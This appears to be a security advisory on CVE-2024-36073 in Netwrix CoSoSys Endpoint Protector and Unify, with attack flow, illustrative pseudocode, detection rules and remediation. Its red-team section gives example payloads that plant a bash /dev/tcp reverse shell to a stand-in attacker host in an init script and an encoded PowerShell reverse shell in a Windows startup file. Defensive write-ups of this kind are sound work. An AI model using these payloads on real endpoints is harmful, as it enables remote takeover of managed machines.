CVE-2024-36073

Executive Summary

CVE-2024-36073 is a critical remote code execution (RCE) vulnerability in Netwrix CoSoSys Endpoint Protector (up to version 5.9.3) and CoSoSys Unify (up to version 7.0.6). The flaw resides in the shadowing component of the agent, allowing an attacker with administrative access to the management server to overwrite sensitive configuration files and subsequently execute arbitrary system commands with SYSTEM/root privileges on any chosen client endpoint. This vulnerability enables lateral movement and full compromise of managed endpoints from a single server foothold.

Affected Ecosystem: Enterprise endpoint management software (non-open source, no package registry).

Supply Chain & Package Security: Not applicable (proprietary software).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (administrative access to the management server)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. While the attacker requires admin access to the server, the ability to pivot to any client endpoint with SYSTEM/root privileges makes this a severe post-exploitation vector.

Deep Dive & Mechanics

The vulnerability exists in the shadowing component of the Endpoint Protector and Unify agent. This component is responsible for synchronizing configuration and policy updates from the management server to client endpoints. The flaw allows an authenticated administrator on the server to craft a malicious configuration payload that, when processed by the agent, overwrites critical system files or configuration entries.

Root Cause: Insufficient validation of configuration data received from the server. The agent trusts the server implicitly, allowing an attacker to inject arbitrary file paths or command sequences into the configuration update mechanism.

Attack Flow:

1. Attacker gains administrative access to the Netwrix CoSoSys management server (e.g., via stolen credentials, SSRF, or another vulnerability).
2. Attacker crafts a malicious configuration update targeting the shadowing component.
3. The server pushes the update to one or more client endpoints.
4. The agent on the client endpoint processes the update, overwriting a sensitive configuration file (e.g., a startup script, service configuration, or scheduled task).
5. The overwritten file triggers execution of attacker-controlled commands with SYSTEM/root privileges.

Impact: Full compromise of the client endpoint, including data exfiltration, installation of persistence mechanisms, and lateral movement within the network.

Vulnerable vs. Patched Code

No official patch has been released. The vulnerable code is in the proprietary agent binary handling the shadowing component. A patched version would likely include:

• Strict validation of configuration file paths (allowlisting).
• Digital signature verification of all server-originated configuration updates.
• Sandboxing or reduced privileges for the shadowing component.

Example of vulnerable logic (pseudocode):

def apply_config(server_payload):
    # No validation of file path
    file_path = server_payload["target_path"]
    content = server_payload["content"]
    with open(file_path, "w") as f:
        f.write(content)

Example of patched logic (pseudocode):

ALLOWED_PATHS = ["/etc/cososys/agent.conf", "C:\\ProgramData\\CoSoSys\\agent.ini"]

def apply_config(server_payload):
    file_path = server_payload["target_path"]
    if file_path not in ALLOWED_PATHS:
        raise Exception("Invalid path")
    # Verify digital signature
    if not verify_signature(server_payload):
        raise Exception("Invalid signature")
    content = server_payload["content"]
    with open(file_path, "w") as f:
        f.write(content)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to the Netwrix CoSoSys management server.
• Network connectivity to a target client endpoint running the vulnerable agent.

Exploitation Steps:

1. Identify Target Endpoint: Use the management console to list connected clients.
2. Craft Malicious Payload: Create a configuration update that overwrites a startup script (e.g., /etc/init.d/cososys-agent on Linux or C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\malicious.bat on Windows).
3. Push Update: Use the server's API or administrative interface to send the malicious configuration to the target endpoint.
4. Trigger Execution: Wait for the agent to apply the update, or force a restart of the agent/service to trigger the malicious script.

Example Payload (Linux):

{
  "target_path": "/etc/init.d/cososys-agent",
  "content": "#!/bin/bash\nbash -i >& /dev/tcp/attacker_ip/4444 0>&1"
}

Example Payload (Windows):

{
  "target_path": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.bat",
  "content": "powershell -e <base64_encoded_reverse_shell>"
}

Blue Team

Detection:

• Monitor for unusual configuration updates pushed from the management server to endpoints.
• Alert on any writes to sensitive system paths (e.g., /etc/init.d/, C:\Windows\System32\, startup folders) by the CoSoSys agent process.
• Enable logging on the management server to track all configuration changes and identify anomalous payloads.

Hunting:

• Search for recently created or modified files in startup directories and system initialization scripts.
• Review agent logs for errors or warnings related to file write operations.
• Correlate server-side administrative actions with endpoint-side file changes.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None publicly available; generate during analysis)
• Network Indicators: Outbound connections from endpoints to attacker-controlled IPs on high ports (e.g., 4444, 8080).
• Process Indicators: Unusual child processes spawned by the CoSoSys agent (e.g., cmd.exe, powershell.exe, /bin/bash).
• File System Indicators:
  • Unexpected files in /etc/init.d/, /etc/cron.d/, or C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\.
  • Modified configuration files in the CoSoSys agent directory (e.g., agent.conf, agent.ini).
• Registry Indicators (Windows):
  • New or modified entries in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
  • New services created by the agent process.

Detection Engineering

YARA Rule

rule CVE_2024_36073_Shadowing_RCE {
    meta:
        description = "Detects malicious configuration payloads targeting Netwrix CoSoSys shadowing component"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-36073"
    strings:
        $s1 = "target_path" ascii wide nocase
        $s2 = "/etc/init.d/" ascii wide nocase
        $s3 = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu" ascii wide nocase
        $s4 = "bash -i" ascii wide nocase
        $s5 = "powershell" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and ($s4 or $s5))
}

Sigma Rule

title: CVE-2024-36073 - CoSoSys Shadowing Component RCE
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file writes to sensitive system paths by the CoSoSys agent process
author: Valters IT
date: 2024-10-27
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\\CoSoSys\\agent.exe'
        TargetFilename|contains:
            - '\\Start Menu\\Programs\\Startup\\'
            - '\\Windows\\System32\\'
            - '\\Windows\\Tasks\\'
    condition: selection
falsepositives:
    - Legitimate administrative updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-36073 CoSoSys Shadowing RCE - Outbound Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 62 61 73 68|"; nocase; content:"|2d 69|"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Management Server: Restrict network access to the Netwrix CoSoSys management server to only authorized administrators.
2. Review Administrative Accounts: Audit all accounts with administrative access to the server and enforce MFA.
3. Monitor Endpoints: Deploy the provided YARA/Sigma/Suricata rules to detect exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await an official patch from Netwrix. Contact support for an ETA.
• Workaround: If patching is not possible, consider disabling the shadowing component or implementing strict firewall rules between the server and endpoints.
• Alternative: Migrate to a different endpoint management solution if the vendor does not provide a timely fix.

Compensating Controls:

• Implement application whitelisting on endpoints to prevent execution of unauthorized scripts.
• Use endpoint detection and response (EDR) tools to monitor for anomalous process behavior.
• Enable verbose logging on both the server and endpoints for forensic purposes.

Valters IT